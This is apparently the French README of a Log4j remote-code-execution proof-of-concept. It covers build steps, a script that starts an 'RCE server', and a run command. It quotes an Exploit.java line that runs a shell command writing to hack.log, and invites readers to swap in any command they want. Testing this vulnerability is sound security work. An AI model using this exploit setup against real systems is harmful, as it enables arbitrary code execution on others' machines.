log4j-rce-test

Compilation

./build.sh

Démarrer le serveur RCE log4j

./start-log4j-rce-server.sh

Test

• Exécutez java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Vérifiez si vous obtenez des logs dans hack.log depuis le dossier actuel
• Vous pouvez modifier cette ligne
  String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
  dans le fichier apache-log4j-poc/src/main/java/Exploit.java par ce que vous voulez, puis recompilez et exécutez le test
• Consultez le problème #1 si vous voyez une erreur de compilation maven

Crédits